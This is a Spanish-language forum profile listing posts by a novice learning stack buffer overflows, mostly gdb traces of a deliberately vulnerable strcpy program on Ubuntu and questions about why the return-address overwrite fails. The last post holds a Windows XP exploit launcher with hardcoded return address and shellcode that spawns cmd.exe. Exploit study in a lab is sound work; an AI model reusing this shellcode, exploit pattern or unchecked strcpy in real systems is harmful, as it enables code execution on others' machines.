Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - M3st4ng

#31
Y sin porfa lo pongo....



(gdb) list
4 void copiar(char* b)
5 {
6 char buffer[500];
7 strcpy(buffer,b);
8 }
9
10
11 int main(int argc, char** argv)
12 {
13 copiar(argv[1]);
(gdb)
14     return 0;
15
16 }
(gdb) disass main
Dump of assembler code for function main:
   0x08048384 <+0>: push   %ebp
   0x08048385 <+1>: mov    %esp,%ebp
   0x08048387 <+3>: sub    $0x4,%esp
   0x0804838a <+6>: mov    0xc(%ebp),%eax
   0x0804838d <+9>: add    $0x4,%eax
   0x08048390 <+12>: mov    (%eax),%eax
   0x08048392 <+14>: mov    %eax,(%esp)
   0x08048395 <+17>: call   0x8048364 <copiar>
   0x0804839a <+22>: mov    $0x0,%eax
   0x0804839f <+27>: leave 
   0x080483a0 <+28>: ret   
End of assembler dump.
(gdb) disass copiar
Dump of assembler code for function copiar:
   0x08048364 <+0>: push   %ebp
   0x08048365 <+1>: mov    %esp,%ebp
   0x08048367 <+3>: sub    $0x208,%esp
   0x0804836d <+9>: mov    0x8(%ebp),%eax
   0x08048370 <+12>: mov    %eax,0x4(%esp)
   0x08048374 <+16>: lea    -0x200(%ebp),%eax
   0x0804837a <+22>: mov    %eax,(%esp)
   0x0804837d <+25>: call   0x80482b8 <strcpy@plt>
   0x08048382 <+30>: leave 
   0x08048383 <+31>: ret   
End of assembler dump


La dirección  0x41414149 corresponde a la de la variable "b":

Program received signal SIGSEGV, Segmentation fault.
0x08048383 in copiar (b=No se puede acceder a la memoria en la dirección 0x41414149
) at ejemplo.c:8
8 }
(gdb) print &b
$2 = (char **) 0x41414149


Gracias por la ayuda!
#32
Hola,

Gracias por contestar. He probado con un buffer de 500 y 1000 "A" como parámetro y tampoco me ha funcionado.
Además, he probado a compilar el gcc-3.4.6 y tampoco funciona. No sé es una cosa rara rara.
Os dejo el traceo del gdb


(gdb) print &buffer
$1 = (char (*)[16]) 0xbffff2ac
(gdb) s
8 }
(gdb) x/100x $esp
0xbffff2a4: 0xbffff2ac 0xbffff4be 0x41414141 0x41414141
0xbffff2b4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2c4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2d4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2e4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2f4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff304: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff314: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff324: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff334: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff344: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff354: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff364: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff374: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff384: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff394: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff3a4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff3b4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff3c4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff3d4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff3e4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff3f4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff404: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff414: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff424: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) s

Program received signal SIGSEGV, Segmentation fault.
0x0804837d in copiar (b=No se puede acceder a la memoria en la dirección 0x41414149
) at ejemplo.c:8
8 }
(gdb) info r
eax            0xbffff2ac -1073745236
ecx            0x0 0
edx            0x3e9 1001
ebx            0x287ff4 2654196
esp            0xbffff2c0 0xbffff2c0
ebp            0x41414141 0x41414141
esi            0x0 0
edi            0x0 0
eip            0x804837d 0x804837d <copiar+25>
eflags         0x10246 [ PF ZF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51
(gdb) s

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb) info r
El programa no tiene registros ahora.
(gdb) info s
No stack.


Lo que me parece raro es el mensaje:

Program received signal SIGSEGV, Segmentation fault.
0x0804837d in copiar (b=No se puede acceder a la memoria en la dirección 0x41414149

Gracias por la ayuda.
#33
Si, si, esta compilado asii:

gcc -g -fno-stack-protector -mpreferred-stack-boundary=2 -ggdb ejemplo.c

Graicas
#34
Hola,

Aún no he conseguido que se ejecute la dirección del RET sobreescrita. No sé si será por ele compilador gcc, he estado dando vueltas por google y la verdad no sé por dónde pueden ir los tiros.
Voy a intentar exponer el problema  a ver si a alguien le ha pasado.
Este es el código vulnerable:


#include <stdio.h>
#include <string.h>

void copiar(char* b)
{
        char buffer[16];
        strcpy(buffer,b);
}


int main(int argc, char** argv)
{
        copiar(argv[1]);
        return 0;

}


La variable "buffer" es de 16bytes.
Ejecuto el gdb y pongo un break en la funcion "copirar"

(gdb) list
4 void copiar(char* b)
5 {
6 char buffer[16];
7 strcpy(buffer,b);
8 }
9
10
11 int main(int argc, char** argv)
12 {
13 copiar(argv[1]);
(gdb) break 6
(gdb) run $(perl -e 'print "A"x32')


Antes de ejecutar el strcpy miro la pila:
La direccion de la variable "buffer" en la funcion copiar es 0xbffff67c

(gdb) print &buffer
$1 = (char (*)[16]) 0xbffff67c


La direccíon de retorno a el main es 0x080483f4:

(gdb) disass main
Dump of assembler code for function main:
   0x080483de <+0>: push   %ebp
   0x080483df <+1>: mov    %esp,%ebp
   0x080483e1 <+3>: sub    $0x4,%esp
   0x080483e4 <+6>: mov    0xc(%ebp),%eax
   0x080483e7 <+9>: add    $0x4,%eax
   0x080483ea <+12>: mov    (%eax),%eax
   0x080483ec <+14>: mov    %eax,(%esp)
   0x080483ef <+17>: call   0x80483c4 <copiar>
   0x080483f4 <+22>: mov    $0x0,%eax
   0x080483f9 <+27>: leave 
   0x080483fa <+28>: ret   
End of assembler dump.


Ahora observo la pila en el breakpoint

esp            0xbffff674 0xbffff674
ebp            0xbffff68c 0xbffff68c


En la direccion 0xbffff67c comienza la varible "buffer" y en la direccion 0xbffff690 el RET


(gdb) x/50x $esp
0xbffff674: 0x00287ff4 0x08048410 0xbffff698 0x0015e985
0xbffff684: 0x0011eac0 0x0804841b 0xbffff698  0x080483f4
0xbffff694: 0xbffff89a          0xbffff718 0x00145ce7 0x00000002
0xbffff6a4: 0xbffff744  0xbffff750 0xb7fff848 0xbffff7b8
0xbffff6b4: 0xffffffff        0x0012cff4 0x0804822c 0x00000001
0xbffff6c4: 0xbffff700 0x0011e096 0x0012dad0 0xb7fffb28
0xbffff6d4: 0x00287ff4 0x00000000 0x00000000 0xbffff718
0xbffff6e4: 0x084b7a07 0xdf1f6378 0x00000000 0x00000000
0xbffff6f4: 0x00000000 0x00000002 0x08048310 0x00000000
0xbffff704: 0x00123cf0 0x00145c0b 0x0012cff4 0x00000002
0xbffff714: 0x08048310 0x00000000 0x08048331 0x080483de
0xbffff724: 0x00000002 0xbffff744 0x08048410 0x08048400
0xbffff734: 0x0011eac0 0xbffff73c


Sigo ejecutando:


(gdb) next
8 }
(gdb) x/50x $esp
0xbffff674: 0xbffff67c 0xbffff89a         0x41414141 0x41414141
0xbffff684: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff694: 0x41414141 0x41414141 0x00145c00 0x00000002
0xbffff6a4: 0xbffff744  0xbffff750         0xb7fff848 0xbffff7b8
0xbffff6b4: 0xffffffff        0x0012cff4 0x0804822c 0x00000001
0xbffff6c4: 0xbffff700 0x0011e096 0x0012dad0 0xb7fffb28
0xbffff6d4: 0x00287ff4 0x00000000 0x00000000 0xbffff718
0xbffff6e4: 0x084b7a07 0xdf1f6378 0x00000000 0x00000000
0xbffff6f4: 0x00000000 0x00000002 0x08048310 0x00000000
0xbffff704: 0x00123cf0 0x00145c0b 0x0012cff4 0x00000002
0xbffff714: 0x08048310 0x00000000 0x08048331 0x080483de
0xbffff724: 0x00000002 0xbffff744 0x08048410 0x08048400
0xbffff734: 0x0011eac0 0xbffff73c


Como vemos el RET (direccion 0xbffff690) se ha sobreescrito. Y como me pasaba en el comentario anterioir despues de escribir todas las "A", en byte siguiente lo sobre con ceros (ha pasado de 0x00145ce7 a 0x00145c00).

En el siguiente paso el programa "casca" pero sin que el EIP ejecute el RET:

Program received signal SIGSEGV, Segmentation fault.
0x080483dd in copiar (b=No se puede acceder a la memoria en la dirección 0x41414149
) at ejemplo.c:8
8 }
(gdb) info r
eax            0xbffff67c -1073744260
ecx            0x0 0
edx            0x21 33
ebx            0x287ff4 2654196
esp            0xbffff690 0xbffff690
ebp            0x41414141 0x41414141
esi            0x0 0
edi            0x0 0
eip            0x80483dd 0x80483dd <copiar+25>
eflags         0x10246 [ PF ZF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51


La dirección donde se queda es el RET de la funcion copiar: eip            0x80483dd   0x80483dd <copiar+25>



(gdb) disass copiar
Dump of assembler code for function copiar:
   0x080483c4 <+0>: push   %ebp
   0x080483c5 <+1>: mov    %esp,%ebp
   0x080483c7 <+3>: sub    $0x18,%esp
   0x080483ca <+6>: mov    0x8(%ebp),%eax
   0x080483cd <+9>: mov    %eax,0x4(%esp)
   0x080483d1 <+13>: lea    -0x10(%ebp),%eax
   0x080483d4 <+16>: mov    %eax,(%esp)
   0x080483d7 <+19>: call   0x80482f4 <strcpy@plt>
   0x080483dc <+24>: leave 
=> 0x080483dd <+25>: ret   
End of assembler dump.


Me podeis echar una mano.?? Gracias
#35
Buenas noches,

Perdonad que vuelva a revivir el post, pero es que llevo unos cuantos dias intentando hacer un stack overflow en linux y me está costando por (creo yo) una chorrada.
El problema que tengo es que cuando introduzco varias "A" como argumento del programa, he observado que una vez sobreescrito todos los bytes correspondientes (por ejemplo 32), el siguiente byte siempre me lo pone a cero (en nuestro caso el 33 seria 0). Esto me está provocando errores a la hora de intentar hacer el overflow sobre la direccion de retorno.

Os pongo un ejemplo para que lo veais.
Esta es la pila del main antes del scrtcpy:
esp            0xbffff694 0xbffff694
ebp            0xbffff6a8 0xbffff6a8


0xbffff694: 0x0011eac0 0x0804842b 0x00288ff4 0x08048420
0xbffff6a4: 0xbffff8a9          0xbffff728 [b]0x00145ce7[/b] 0x00000002


Fijaros en la dirección que resalto porque una vez que ejecuta el scrtpy me sobreescribe su primer byte. Es decir, de 0x00145ce7 pasa a 0x00145c00

0xbffff694: 0xbffff69c 0xbffff8a9 0x41414141 0x41414141
0xbffff6a4: 0x41414141 0x41414141 0x00145c00 0x00000002


Esto hace que el programa no acabe correctamente su ejecución.

0x00145c00 in __libc_start_main () from /lib/libc.so.6

Ya sabia de antes, que cuando metes un scring en la pila, escribe un nulo (0x00) para saber donde acaba. La pregunta es ¿hay alguna manera de quitar esos ceros para poder hacer un overflow? Con windows no me he encontrado problemas, ¿os ha ocurrido esto a vosotros?

Gracias por vuestra atencion.

Datos
2.6.35-23-generic #41-Ubuntu SMP Wed Nov 24 10:18:49 UTC 2010 i686 GNU/Linux
gcc version 4.4.5 (Ubuntu/Linaro 4.4.4-14ubuntu5)
#36
Si mi tarjeta no es compatible no puedo hacer nada no??
#37
 Ok ya entendi todo es que me lie con los arrays de 64 y de 1024 jaja gracias por la ayuda
#38
LoL tio era esooo!!!! tenia el vuln1.exe fuera de la carpeta de exploit_vul.exe
joder q pardillo toy echo como se nota que soy novato....

gracias por la ayuda
#39
Aunque lo cambie no me hace nada.... q compilador usas Dev-cpp?? Ya estoy deseperado porque lo ejecute y no hace nada de nada me tiene harto, llevo 5 dias con esto no veas lo q me esta costando

saludos
#40
Tengo el mismo codigo que _Xerks_ y a mi no me funciona:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <windows.h>

int main (int argc,char **argv) {

    char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS";

    char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50"
"\xBB\xC7\x93\xBF\x77\xFD\xD3";

    char offset[]="\xED\x1E\x95\x7C";
       
    strcat(evilbuffer,offset);
    strcat(evilbuffer,shellcode);
    printf ("Cadena + offset + shellcode en formato printable\n\n");
    printf ("%s", evilbuffer);

   
    argv[0] = "vuln1";
    argv[1] = evilbuffer;
    argv[2] = NULL;
   
    execv ("vuln1.exe",argv);
    }

Uso winXp SP2